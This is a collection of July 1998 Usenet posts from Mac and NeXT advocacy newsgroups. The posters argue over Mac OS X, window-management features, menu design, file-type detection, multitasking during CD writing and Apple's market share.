Sender: news@micmac.com
Message-ID: <Eww5FH.347@micmac.com>
References: <6pna5f$j78$1@nnrp1.dejanews.com> <B1E512F6-23F7E@128.138.177.229>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Cc: datamagik@usa.net
This was written in comp.sys.next.advocacy,comp.sys.mac.advocacy
(<B1E512F6-23F7E@128.138.177.229>) by "Jay Riley":
> I don't recall the exact timing but the preview release "MacOS X Server,
> Consumer Release 1" is due within a month or two. This will not be the
> final release (IIRC), but the first version complete enough for consumer
> evaluation.
>
I think October 12 would be *very* fine! =;)
mc
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Thu, 30 Jul 1998 18:15:58 +1000
Organization: University of Queensland
Message-ID: <6ppa47$fur$1@bunyip.cc.uq.edu.au>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au> <35befff9.0@nnrp1.news.uk.psi.net> <6pn16j$eod$1@bunyip.cc.uq.edu.au> <35bf71d9.0@nnrp1.news.uk.psi.net>
Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote in message
35bf71d9.0@nnrp1.news.uk.psi.net...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>>
>>Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote in message
>>>If I have windows A and B and miniaturise A then B I get the miniaturised
>>window for
>>>A on the left and B to the right of it.
>>>If I then un-miniaturise A, the miniaturised B shifts left, and when I
then
>>>re-miniaturise A the miniaturised version of A sits to the right of B.
>>
>>Hmm, I've never seen this happen and after about 5 minutes of trying I
can't
>>get it to.
>>What's the specs on your NT sytstem ? (Service packs, software installed
>>etc)
>>Is the problem reproduceable ?
>>Does it only affect certain programs ? If so, what are they ?
>
>NT4 latest service-pack, Direct-X5, IE4 with the old newsreader - not
Outlook-express
>
>Ok - I'm partly wrong on this one -
>It's actually the behaviour of minimised panels to change the order rather
than
>document windows -
>I tried it in the news-reader that comes with IE - I haven't tried other
apps.
>document windows (as opposed to panels) minimised and unminimise in
consistent
>order - the system only screws you around moving them when it
shrinks/expands
>them to make room for new minimised windows.
Still not entirely sure what you're talking about - buttons on the taskbar
moving when you minise/restore ? Or document windows inside applications ?
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 09:57:32 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907980957320001@news>
References: <6plb0l$lom$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6plb0l$lom$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> No, that's not my position. I think a laptop with a 9" screen would suck
> rocks. That's what I meant and what I said.
Okay, then why would it suck? It's not because of the resolution or the UI,
so what is it?
> Sure, the macUI may well be
> fine on a 9" screen, but IMO there is no excuse to have a 9" screen on a
> laptop machine today. Anything smaller than a 12" XGA screen, imo, is
> useless crap for laptop purposes.
But WHY is it useless? You've already stated that it's not a problem with
the UI, and it's not a problem with the resolution. So what is it? It
appears that the only problem you have with it is the actual screen size.
That seems pretty arrogant. If you get the same resolution, it shouldn't
matter if you're on a 9" screen or a 17" screen.
> Now a 9" screen or smaller might be great
> for some PDA/palmtop unit, but that's not a laptop.
Why? How are they different, besides what you think can be done with them?
Why can a palmtop with a 640x480 screen do less than a laptop with a
640x480 screen?
> My position is that
> since modern laptops being designed and manufactured from now on will likely
> be 12" XGA or better, that they are much like the desktop machines that also
> have XGA or better displays, and so should share a UI; a UI that is not
> limited by the constraints of a PDA/palmtop design.
>sigh!< And we're arguing in circles again. You've already admitted that
the Mac UI scales well to a small screen. So I ask you again: why do you
think that a palmtop with a 9" 640x480 screen would somehow be limited in
what it can do?
Your argument seems to be: a Mac with a 9" screen would be a palmtop, since
a palmtop has a smaller screen. And since it's a palmtop, it can't do as
much as a laptop. However, you have shown no evidence that a palmtop with a
9" 640x480 screen can do less than a laptop with a 12" 640x480 screen.
> > > However, I believe that the macUI is not as well suited to larger
> > > resolution/displays as other UI offerings.
> >
> > One sentence clears everything up. This sure seems different from your
> > earlier comments like, "Jeez, if by next year the best they can do is
> > release a consumer portable with *only* a 9" screen, they deserve what they
> > can get. There's no excuse today to release anything but an XGA screen."
>
> Maybe my understanding of what constitutes a computer portable is off. To
> me, that means cheap laptop. If I have that wrong and it actually means some
> palmtop/PDA like thing, then that's my mistake and the cause of the
> confusion. If so, sorry about that.
But again, I don't get why you're so hung up on whether it's called a
"laptop" or a "palmtop." Why do you think a device with a 9" 640x480 screen
would be constrained somehow? Why is it fine if it's called a palmtop, but
it sucks if it's called a laptop? The only difference is in the NAME!
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 10:14:58 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907981014580001@news>
References: <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6pid6g$atl$1@bunyip.cc.uq.edu.au> <Pine.SOL.3.96.980727133724.966B-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2807981006430001@news> <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
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In article <Pine.SOL.3.96.980728142820.21913B-100000@ux8.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 28 Jul 1998, Andy Bates wrote:
>
> > But a C++ program file is also a text file, which is also a Word file. So
> > every single time I open this same C++ file, your proposed system would
> > have to search through the file contents and determine what application
> > shou used to open it. And if I want to use BBEdit every time, your system
> > will either A) always open it as a C++ file, since that's the most obvious
> > file type, or B) always provide me with a menu of program choices, even
> > though I always want to use BBEdit to edit the file.
>
> Right. We shouldn't consider anything different. There's nothing wrong
> with what we have. It works perfectly all the time. There is nothing that
> could possibly be better. What was I thinking.
Hey, if you offer up a new UI proposal, don't start whining when people
find flaws with it. It's a cop-out to say, "You don't like my proposal, so
you obviously don't like any new ideas and are perfectly satisfied with
what you already have." No, I don't think that the present situation is
perfect. However, I also don't think that your proposal is any better.
> > Do you realize how tedious this would be? How long this would take the OS
> > to do? For every single file that you open, it would have to check through
> > ALL the registered types that the installed apps support? So, even though I
> > have Application X that I use once every few months or so, installing it
> > means that EVERY file that I open will have to check its file structure
> > against the Application X file type, just to make sure it doesn't need to
> > be opened within that application. Well, it'd be a nice incentive for
> > people to install fewer applications on their system.
>
> Oh, please. Do you _really_ think this would take very long? Once the
> document or portions of the document are read into memory, testing it
> against thousands of file formats should be very quick.
How much computer-science background have you actually had? The time to
check will increase as more applications are added to the system.
> Actually as I've
> said in other posts, typing of a file could even be done in the background
> when nothing else is happening. That way, the OS could periodically go
> through and check modified files and retype them.
Why should it go through and recheck modified files? If I have a Word file
that I open and modify, don't you think that Word will save it in the
correct file format? I couldn't possibly open a file in Word and save it
as, say, a .WAV file. Rechecking file types is worthless.
> > Right. Instead, there is erroneous parsing which can lead to incorrect file
> > translation. The difference is, if the type/creator codes are incorrect,
> > you can fix them once and be done with it. But if my C++ file gets
> > incorrectly parsed, it will be incorrectly parsed EVERY SINGLE TIME I OPEN
> > IT, and there's NOTHING I can do about it!
>
> BULLSHIT! It does not have to be this way. There are other potential cues
> like the file name (does it have a .C?) and perhaps even type/creator
> codes to give an indication of what the file is. This does not have to be
> an utter replacement for the type/creator system you know.
But that's what you suggested it as in the first place. You said
(paraphrasing), "The current type/creator codes are unnecessary. Instead,
we should do this...." Now it looks like you can't find a solution that
doesn't fall back on type/creator codes and even filename extensions.
> > Maybe I could put a tag in the
> > program itself to mark what program I want to open it in...oops, now we're
> > back to type and creator codes.
>
> I think of this as a supplement to type/creator codes. It is not a
> complete replacement. It is there to address some of the issues with
> type/creator codes and file extensions. If the type/creator is just
> totally off or if such information is absent, this system would be more
> robust. Type/creator codes and file name extensions by them selves are
> much more fallible.
But why would the system have to check every file in the background? Why
not just have a File Typer widget that you could drop problem applications
onto? That way, you could drop internet files onto it (or maybe have it
check a Downloads folder occasionally), and any files you're having
problems with. But having a constant OS-wide daemon to take care of this
seems pointless. I don't want my Word file suddenly changing to a BBEdit
file while I'm not looking.
> Well stinking duh! If it determined the type once and the file has not
> been modified or replaced since, then _obviously_ the OS does not have to
> check again.... or were you just trying to score points against the
> concept?
Why does it need to be rechecked if it's been modified? The modifier
program will save it with the correct type/creator info, so checking it
again is unnecessary. I said before and I'll say again: this is only
necessary for files downloaded from the internet.
> > Yes, the OS would know what kind of file it is, once it checks...and then
> > it will promptly forget.
>
> That is BULLSHIT! That is not what I was thinking. That is not what I
> said. It would not be a good design to do so and it does not have to work
> that way. You are just saying this to make the entire concept sound bad.
You said it would check every time the file is opened. Now you're changing
it to say that it would store the information in type/creator. Don't knock
my criticisms just because your proposal omitted some details.
> > Then, when you open it again, it will have to
> > check again. This is a tremendous waste of processor time. Why should it
> > have to check every time a file is opened?
>
> It obviously shouldn't. Do you think this hadn't occured to me?
You never mentioned it.
> If the document does not change then _obviously_ the OS does not have to
> check its type again.
But it doesn't need to check again even if it DOES change. The application
can handle that.
> You don't even understand my proposed solution and hadn't even heard all
> of it. _OF_COURSE_ what you state in that paragraph would be a good idea.
> Do you _REALLY_ believe that I was thinking the OS should check _every_
> time a file is opened? Good grief. Your opinion of my intelligence is
> obviously not very high.
Yeah, stupid me for reading what you wrote, instead of instantly
understanding your thoughts. All I can go by is what I read.
Andy Bates.
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: 30 Jul 1998 05:39:23 GMT
Message-ID: <6pp0ub$2g2$1@nntp2.ba.best.com>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
In-Reply-To: <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
On 07/29/98, Jonathan Gapen wrote:
>
> I'm surprised that no other GUI design other than Intuition in
AmigaOS
>(and amiwm, a work-alike for X11) has taken advantage of a wickedly
clever
>little thing called the "depth gadget." It's another window title
gadget
>that lets the user depth-arrange windows. Instead of using a window
shade
>feature to get around a window that's obscuring others, the AmigaOS
user
>can simply use the depth gadget to send the offending window to the
back.
> Much simpler. If OPENSTEP had this feature, I think it'd be
nearly
>perfect.
It does. Cmd-Click the title bar. Alt-click in the title bar brings
an inactive window to the front. Now if you could only turn off click
to front it'd *really* be perfect. ;)
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 22:28:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com>
In article <35BFC76E.109C@geocities.com>, landivar2@geocities.com wrote:
> > I was actually thinking more of the way that when you start writing a CD
> > under MacOS the entire box is rendered useless while the CD is writing. For
>
> Don't blame apple blame the *stupid* CDR software.
I shouldnt blame Apple for not having true multitasking? Uh huh. SInce
macos x will be out in a couple of years, I wont lose sleep about it, but
on REAL os's no software COULD do this, no matter how hard the programmer
tried.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 22:26:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907982226310001@sdn-ar-002casbarp187.dialsprint.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <35BFC76E.109C@geocities.com> <6pojup$mkj@newsb.netnews.att.com>
In article <6pojup$mkj@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >Don't blame apple blame the *stupid* CDR software.
>
> At work, we are using CD-R to produce distributions of the software we
> produce. My colleague does this from a Windows 95 PC using Adaptec's software.
> Well, guess what ? While you can run other stuff while the CD is writing,
> if you do so, you invariably get an error in the CD write. So, before
> writing a CD, you hit Ctrl-Alt-Del and make sure that you kill everything
> extraneous.
>
> How is this any different from the Macintosh ?
Its different in that on the pc you can phsyically run other apps but on
the mac you cant. The mac has various instances where other apps can be
run but not well. Joe argued that even tho in those cases it isnt done
well, it still is strictly speaking multitasking. So I pointed out that
their are numerous cases where on the mac you simply cant run any other
apps, so SOME people MIGHT hold that it doesnt have TRUE multitasking.
PLUS, if you have a p2 400, with uw scsi, a fast scsi cd, and say
openstep, would the cd always have errors when using a measly word
processor?
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
Date: Wed, 29 Jul 1998 12:29:52 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907981229530001@sdn-ar-001casbarp289.dialsprint.net>
References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net> <jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net> <35BF591A.A125BBDB@erols.com>
In article <35BF591A.A125BBDB@erols.com>, phillip craig brisco
<pbrisco@erols.com> wrote:
> As far as A) above, I don't know. BUT, on b), take the pII with, say,
up to 10%
> faster clock rate than an equivalent G3. Now, which is faster?
Why take a p2 that is only %10 faster when a p2 compupter at even %50
faster would STILL be cheaper than the g3???
From: aman@aman.com (A-Man)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 22:47:05 -0800
Organization: ICGNetcom
Message-ID: <aman-2907982247050001@sji-ca11-159.ix.netcom.com>
References: <6plb0l$lom$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2907980957320001@news> <6po44r$nmo$1@lwnws01.ne.highway1.com>
I am imagining something like an eMate with a color screen running MacOS
and MacOS applications. Lithium batteries that last for 5-6 hours. I
don't remember the size of the eMate screen but it was something close to
9". If it was under $1200 and low-end G3 speed I could do a hell of a lot
with that.
In fact, I did a lot with older Macs with 9" screens. Imagine an old
style compact Mac with a G3 processor. Now shrink that puppy down to
Newton MessagePad size. Cool.
-Aaron
--
A-Man: Macintosh user since 1986
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 29 Jul 98 22:58:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E55985-344CC@206.165.43.139>
References: <6pnilb$4hq$2@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
John Jensen <jjens@primenet.com> said:
>"I think this is one of the most interesting questions of our day. I like
>to compare and contrast OpenDoc and HTML. While these two things are
>very
>different on the inside, they cover roughly the same problem domain -
>creating and sharing composite documents. OpenDoc was designed as a
>complete solution, while HTML was designed as just enough to get the job
>done. It is very intersting to consider why one caught on like wildfire
>and one languishes. I think there is more than one answer, but it bears
>considering.
HTML doesn't allow one to edit composite documents or to add ot them. It is
an incredibly superficial look at what OD does to suggest that there is any
real overlap in functionality.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 18:42:46 +1000
Organization: University of Queensland
Message-ID: <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com>
Landivar2 <landivar2@geocities.com> wrote in message
35BFC76E.109C@geocities.com...
>Christopher Smith wrote:
>
>> I was actually thinking more of the way that when you start writing a CD
>> under MacOS the entire box is rendered useless while the CD is writing.
For
>
>Don't blame apple blame the *stupid* CDR software.
No, I have every right to blame Apple for writing an OS that forced the
writers of the CDR program to make it this way so they could (nearly)
guarantee not getting coasters.
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 19:23:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pnsqt$c9l$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net>
In article <joe.ragosta-2907981244410001@wil47.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> But WinNT 4.0 offers some features which are notably absent from Win95/98,
> as well.
And vise-vera. A lot of people use Windows 95 because they want to play games
or use programs that use APIs that are not yet available in NT. AFAIK, Mac OS
X will have a superset of the features in MacOS 9 so why wouldn't you want to
use it? Anyway, the point is largely irrelevant because almost everyone (if
they buy some RAM) who can run Windows 95 can also run NT. Not so with Mac OS
9 and Mac OS X.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: jagapen+nospam@whitewater.chem.wisc.edu (Jonathan Gapen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: 29 Jul 1998 20:50:35 GMT
Organization: University of Wisconsin, Madison
Message-ID: <slrn6rv2oq.qt.jagapen+nospam@billybob.chem.wisc.edu>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu>
Sean Luke wrote:
>After a reasonable review, I've concluded that Window Shade is the most
>ill-conceived GUI element for Apple to adopt in the last decade. I love
>the Mac, but I find it disturbing that this feature even *has* supporters.
I'm surprised that no other GUI design other than Intuition in AmigaOS
(and amiwm, a work-alike for X11) has taken advantage of a wickedly clever
little thing called the "depth gadget." It's another window title gadget
that lets the user depth-arrange windows. Instead of using a window shade
feature to get around a window that's obscuring others, the AmigaOS user
can simply use the depth gadget to send the offending window to the back.
Much simpler. If OPENSTEP had this feature, I think it'd be nearly
perfect.
--
Jonathan Gapen - sysadmin - biker - caver - collecter of old computers
I think you know exactly what I mean when I say it's a shpadoinkle day.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: what the heck?(WAS: Market share numbers)
Date: Wed, 29 Jul 1998 12:42:05 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2907981242060001@sdn-ar-001casbarp289.dialsprint.net>
References: <joe.ragosta-2707980922590001@wil37.dol.net> <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net> <35bcde8a.0@news.depaul.edu> <macghod-2707981851450001@sdn-ar-002casbarp026.dialsprint.net> <6pnl34$kcj@newsb.netnews.att.com>
In article <6pnl34$kcj@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >= 1000 units total market
> >
> >
> >> Then second quarter, Compaq, IBM, and Sony sell 10% fewer
> >> *units*, while Apple stays the same. The percentages then
> >> look like this:
> >
> >Ok, lets assume the total number sold was also 1000, to make the math easier
>
> Wrong assumption. Compaq sold 50 units fewer (10% of 500),
> IBM sold 30 units fewer ( 10% of 300), Sony sold 15 units fewer (10% of 150)
> and Apple sold 40 units and Misc sold 10 units ( remain the same).
No, its not the wrong assumption, because the total market of computers
DID NOT DECREASE, or if it did it was quite insubstantial like 300k
decrease out of 23 million, which is like %1, not %10. PLUS, the post he
replied to was clear, it said assuming apple's units sold stayed the same,
and the total number of units sold stayed the same or increase, their is
no way their marketshare could increase. I then gave a example. Simple
math tells you this is true. AND HE SHOULD OF AGREED WITH WHAT I SAID.
He should of then said "but I disagree with your assumption that the total
number of units sold by everyone stayed the same or increased". BUt it
basically did, someone gave the numbers, I think it was 23 million 300k
last quarter, and 23 million 100k this quarter, which I consider to be
"about the same" Just like I consider apple drop from 649k to 643k to not
really be a drop, the decrease is insignificant.
> That gives this table :
>
> Compaq 450 units
> IBM 270 units
> Sony 135 units
> Apple 40 units
> Misc 10 units
>
> The total market is : 450 + 270 + 135 + 40 + 10 = 905.
>
> The marketshares are :
>
> Compaq 450/905 * 100 = 49.72%
> IBM 270/905 * 100 = 29.83%
> Sony 135/905 * 100 = 14.91%
> Apple 40/905 * 100 = 4.42%
> Misc 10/905 * 100 = 1.10%
> (doesn't add up to 100% because of rounding errors).
Apple's total marketshare is not 4.42, someone gave the total units sold
versus apples total units sold, and gave the url's of where to get this,
did the math, and it came out to %3.0x
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35bf8505.0@nnrp1.news.uk.psi.net>
Date: 29 Jul 98 20:24:37 GMT
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Richard Frith-Macdonald wrote:
>
>> Can you be clearer on this? It doesn't make any sense to me ...
>> The behaviour you describe above is exactly that of my MacOS-8 system.
>> More to the point, the behaviour of the MacOS system (excepting the menu-bar
>> of course) is almost exactly that of my NeXT system ...
>> 1. A menu item marked with an elipsis brings up a panel
>> 2. A menu item marked with a triangle brings up a sub-menu
>> 3. Any other menu item performs some other action.
>
>Note: you say "menu item" where I say "menu". Under MacOS, there is a
>difference.
So?? is there some particular significance to the fact that you sometimes say
'menu' when you mean 'menu-item'?
<ANALOGIES SNIPPED>
>I'm not offering all of this just to be obtuse. I'm trying to dredge up
>examples that show that yes, hierarchical systems are designed to
>contain groupings. I find it unorthodox that the NeXT menu hierarchy
>does not follow this pattern, but believes that leaf nodes can exist at
>any level, even at the very top. Functionally, this makes the "Quit"
>button equivalent in importance to the "Edit" menu, even though one is a
>button and the other is a menu. I know that's the way NeXT users like
>it; I was pointing out that it's aberrative and inconsistent with the
>philosophy underlying what NeXT users have often called a cleaner
>hierarchy than MacOS.
Ah - shifting ground here - we were originally talking about the lack of
consistency of the current MacOS menu system (specifically the internal
consistancy of the way the GUI behaves) as compared to a NeXT-like system.
Suddenly we are talking about philosophical consistency in a PRESUMED design
principle for the menu system - that it should behave like a rigid hierarchy.
So
1. the argument is irrelevant to the original point
2. the argument is a straw-man
But - to answer the philosophical point anyway - no we don't want a rigid
hierarchy - we want a system that is powerful, flexible and easy to use.
The easy-to-use bit implies consistency, but not rigidity.
<SNIP>
>I've already explained this at exhaustive length. For you to say this
>reminds me of long long long postings I would write that explained
>various problems with the NeXT UI, whereupon the response would be "If
>you don't like it, just explain what you don't like. I'd be glad to
>answer". That was pretty much the end of the thread, and as far as I'm
>concerned, it's the end of this thread, as well.
Can I resist the opportunity to have the last word?
Of course not :-)
I read most of your postings to this newsgroup (and I've been reading the group
for a few years now) and have yet to come across good explanations of your dislike
of the NeXT UI (in case you are wondering why I bother - it's because, as long as
the NeXT UI is not mentioned, you make the occasional good point that I'm not above
filing away for my own use).
The explanations I have read fall roughly into three catagories (with a few
cases left over)-
1. Personal like/dislike - they don't bother me.
2. False statements about the NeXT GUI that seem to be down to the fact that you
had a NeXT machine years ago and are basing comments on that - rather like criticising
The current MacOS for features in the original MacOS that were changed years ago.
These irritate me - and provoke me to post responses.
3. Analogies/examples that don't demonstrate anything - they can usually be read to
refute rather than support your arguments, and certainly shouldn't count as explanations.
Mostly I let these pass.
I don't think I have ever said 'If you don't like it, just explain what you don't like.
I'd be glad to answer' - but it's tempting. It is often very difficult to figure out
what it is that you dislike (apart from a generic dislike of the NeXT GUI of course).
For instance - you point to rigid hierarchical systems as justification for the MacOS
menu system having a similar structure - but don't explain why you think that it is a
good thing to transfer that particular structure from one problem domain to another.
In the absence of any explicit reasoning, one can only conclude that it's a personal
preference. Personal preferences are fine - but I am irritated when they are found
masquerading as reasoning/fact.
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Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com> <35BE18C1.9174ADB0@exu.ericsson.se> <6plbdv$lom$2@lwnws01.ne.highway1.com> <35BE358B.E6A2F81F@ericsson.com> <6plfbk$nqj$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2907981554030001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c00015.0@nnrp1.news.uk.psi.net>
Date: 30 Jul 98 05:09:41 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <6plfbk$nqj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>
>> The lack of
>> indicators, IMO, makes the mac menu more inconsistent; at the top level there
